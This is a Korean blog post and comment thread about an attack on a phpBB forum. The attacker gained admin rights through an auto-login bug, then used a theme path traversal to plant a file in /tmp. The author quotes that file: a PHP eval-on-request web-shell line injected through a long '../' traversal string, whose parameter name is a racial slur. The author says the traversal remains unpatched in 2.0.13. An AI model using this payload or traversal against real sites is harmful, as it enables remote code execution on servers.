오픈룩과 같은 서버에서 호스팅하고 있는 파이썬마을이 오늘 낮에 중국에서 들어온 것으로 보이는 공격자들에게 잠시 뚫렸습니다. 바로 다른 분들이 알려주신 덕분에, 2.0.11을 사용하고 있던 phpbb를 2.0.13으로 업데이트하고, 뚫린 곳을 복구했습니다.
phpBB는 널리 쓰이는 여타 php 웹 애플리케이션이나 마찬가지로 매번 보안 문제점이 발생될 때마다 엄청나게 치명적인 권한 누출이 발생되는데, 국내외를 불문하고 다들 이런 것은.. php의 문제인지.. 스크립트 언어 기반 웹 프로그래밍의 문제인지.. 참 답답하네요;; 한 두번도 아니고 흑흑 -.-
우선, 이번에 뚫린 부분은 일반 사용자로 가입한 뒤에 2월 27일에 발표된 회원 누구나 자동 로그인 기능을 사용해서 관리자 권한을 획득할 수 있는 버그로 웹상의 관리자 권한을 획득하는 곳까지 성공해서, 게시판 1개의 설명을 바꿔놨습니다. 안 바꿨으면 눈치를 못 챘을텐데 중국 이름을 알리고 싶었던 모양이죠 -.-a
그 다음으로 공격시도는 아직 발표되지 않은 보안 버그를 시도하려한 듯 한데, 컬러 테마로 상위디렉토리로 쭉쭉 올라가서 tmp에다가 theme_info.cfg라는 파일을 만드는 것까지는 성공했네요. (이건 따라해 보니까 2.0.13에서도 아직 수정이 안 된듯) 그래서, 이제 theme_info.cfg에 php코드를 넣을 수 있다는 점을 이용해서 GET 요청으로 들어온 변수를 바로 php에서 실행을 하도록 했는데, 다행히도 오픈룩의 웹서버가 jail안에 들어가 있어서, 별로 갖고 갈 정보도 없는데다, 특별히 의미있는 작업을 한 것 같지는 않습니다.
공격자측에서 /tmp/theme_info.cfg 로 기록에 성공한 파일의 앞부분
<?php
//
// phpBB 2.x auto-generated theme config file for aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();// /../../../../../../../../../../../../../../../../../../../tmp
// Do not change anything in this file!
//$aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();// /../../../../../../../../../../..
/../../../../../../../../tmp[0][‘template_name’] = “aaa=12;eval(stripslashes($_REQUEST[n
igga]));exit();// /../../../../../../../../../../../../../../../../../../../tmp”;
으흐흐.. 어차피 뭐 곧 서버를 옮길테니까 DB만 무사하면 되는데.. 백업이 이틀 전 것까지 밖에 없어서 그새 뭔가 날아간 게 있을까봐 두렵군요 –;
php 웹 애플리케이션들의 보안버그 – 과연 끝은 어디인가 -_-;;
php자체의 버그는 적어요… ..단순하게 짜면 버그도 없죠… 뭐 인생이 다 그런거…..(응?)
그야 php자체는 C로 작성돼 있잖아요. ^_^
다소 성급한 결론일지 모르겠지만…
스크립팅 언어의 결함일지도 모르겠네요….
저도 며칠전에… perl로 된 웹 스크립트가 뚤려서…
고생했습니다. awstats이라는 웹로그 분석툴인데… 거의 같은 식입니다. 문자열갖고 장난 치는…
흐흐.. 예 아무래도 스크립트 언어들은 공통적으로 eval 이 빠지지 않고 있는 편이기 때문에, 그 부분에 있어서는 eval이 없는 언어에 비해서는 취약할 가능성이 높을 것 같습니다.
eval이 있다곤해도 eval이 그다지 쓰일 필요는 없을꺼 같은데 ….. -_-a ..
코딩하는 사람이 안 쓰더라도, 공격자는 eval을 사용하는 것이 문제겠지요.
음…eval 이외에도 call_user_func라든가 뭐 여러가지 있는데 php 하다보면 안쓸수는 없더군요. 일단 php의 시스템 접근을 제한해준다면 (safe mode 또는 open_base_dir 옵션) 조금 낫습니다. DB가 문제죠. 😉
이건 그냥 사용자의 입장에서 웹 서버 프로그램 잘 못 하면 시스템이 뚤린다는 건 함 무서운 일이죠. !!